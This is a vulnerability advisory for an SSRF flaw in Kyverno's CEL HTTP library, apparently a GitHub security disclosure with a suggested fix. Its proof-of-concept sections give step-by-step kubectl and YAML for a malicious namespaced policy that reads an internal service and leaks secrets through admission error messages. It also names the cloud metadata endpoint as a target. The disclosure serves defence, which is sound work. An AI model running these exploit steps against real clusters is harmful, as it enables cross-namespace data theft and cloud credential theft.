CVE-2026-4789

Ein Angreifer kann eine Schwachstelle in Kyverno ausnutzen, um Informationen offenzulegen.

## Summary A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (`pkg/cel/libs/http/`) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages. ## Affected Versions - Kyverno >= 1.16.0 (with `policies.kyverno.io` CRDs enabled, which is the default) - Tested on: Kyverno v1.16.2 (Helm chart 3.6.2) ## Details The `http.Get()` and `http.Post()` functions available in CEL-based policies (`policies.kyverno.io` API group) do not enforce any URL restrictions. Unlike `resource.Lib` which enforces namespace boundaries for namespaced policies, the `http.Lib` allows unrestricted access to any URL. **Vulnerable Code:** `pkg/cel/libs/http/http.go` ```go func (r *contextImpl) Get(url string, headers map[string]string) (any, error) { req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil) // NO URL VALIDATION - no blocklist, no namespace restrictions ... } ``` **Contrast with resource.Lib** which enforces namespace: ```go // pkg/cel/libs/resource/lib.go func Lib(namespace string, v *version.Version) cel.EnvOption { return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced } ``` This is a **different code path** from previously reported issues: - GHSA-8p9x-46gm-qfx2: `pkg/engine/apicall/apiCall.go` (URLPath) - Fixed - GHSA-459x-q9hg-4gpq: `pkg/engine/apicall/executor.go` (Service.URL) - Different feature (apiCall vs CEL http) - **This issue**: `pkg/cel/libs/http/http.go` (CEL http.Get/http.Post) - **Not fixed** ## PoC Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind). A complete automated PoC script is attached. Manual steps below: ### 1. Setup attacker with namespace-scoped permissions ```bash kubectl create namespace attacker-ns kubectl create serviceaccount namespace-admin -n attacker-ns cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: namespace-admin-role namespace: attacker-ns rules: - apiGroups: [""] resources: ["configmaps"] verbs: ["create", "get", "list"] - apiGroups: ["policies.kyverno.io"] resources: ["namespacedvalidatingpolicies"] verbs: ["create", "get", "list"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: namespace-admin-binding namespace: attacker-ns subjects: - kind: ServiceAccount name: namespace-admin namespace: attacker-ns roleRef: kind: Role name: namespace-admin-role apiGroup: rbac.authorization.k8s.io EOF ``` ### 2. Create sensitive internal service (simulating internal API or cloud metadata) ```bash cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: internal-api namespace: kube-system labels: app: internal-api spec: containers: - name: server image: hashicorp/http-echo args: - "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}" - "-listen=:8080" --- apiVersion: v1 kind: Service metadata: name: internal-api namespace: kube-system spec: selector: app: internal-api ports: - port: 80 targetPort: 8080 EOF ``` ### 3. Verify attacker cannot access kube-system directly ```bash kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin # Output: no ``` ### 4. Create malicious NamespacedValidatingPolicy (as attacker) ```bash cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f - apiVersion: policies.kyverno.io/v1beta1 kind: NamespacedValidatingPolicy metadata: name: cel-ssrf-poc namespace: attacker-ns spec: matchConstraints: resourceRules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["configmaps"] variables: - name: stolenData expression: | http.Get('http://internal-api.kube-system.svc.cluster.local') validations: - expression: "false" message: "Validation failed" messageExpression: | 'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token'] EOF ``` ### 5. Trigger exploit and exfiltrate data ```bash kubectl create configmap trigger --from-literal=x=y -n attacker-ns \ --as=system:serviceaccount:attacker-ns:namespace-admin ``` ### 6. Result - Secret data exfiltrated ``` error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail" denied the request: Policy cel-ssrf-poc failed: SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ``` ## Impact 1. **Cross-namespace data access**: Users with only namespace-scoped permissions can access services in any namespace 2. **Cloud credential theft**: Access to `http://169.254.169.254/...` allows stealing AWS/GCP/Azure IAM credentials 3. **Data exfiltration**: HTTP response data exposed via validation error messages or audit annotations 4. **Breaks namespace isolation**: Inconsistent with Kyverno's security model where `resource.Lib` enforces namespace boundaries ## Affected Policies All CEL-based namespaced policies in `policies.kyverno.io` API group: - `NamespacedValidatingPolicy` - `NamespacedMutatingPolicy` - `NamespacedDeletingPolicy` - `NamespacedImageValidatingPolicy` ## Suggested Fix Add namespace and URL restrictions to `pkg/cel/libs/http/http.go`, similar to how `resource.Lib` enforces namespace boundaries: ```go type lib struct { namespace string // Add namespace parameter version *version.Version } func (r *contextImpl) Get(url string, headers map[string]string) (any, error) { if err := r.validateURL(url); err != nil { return nil, fmt.Errorf("blocked URL: %w", err) } // ... existing code } func (r *contextImpl) validateURL(urlStr string) error { // Block cloud metadata (169.254.0.0/16) // Block localhost/loopback (127.0.0.0/8) // For namespaced policies: restrict to same namespace services only } ``` Attached [kyverno-cel-ssrf-poc.sh](https://github.com/user-attachments/files/24940825/kyverno-cel-ssrf-poc.sh) ## Credit Discovered by: Igor Stepansky Organization: Orca Security Email: igor.stepansky@orca.security Personal Email: stepanskyigor@gmail.com

Kyverno, versions 1.16.0 and later, are vulnerable to SSRF due to unrestricted CEL HTTP functions.

Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access in github.com/kyverno/kyverno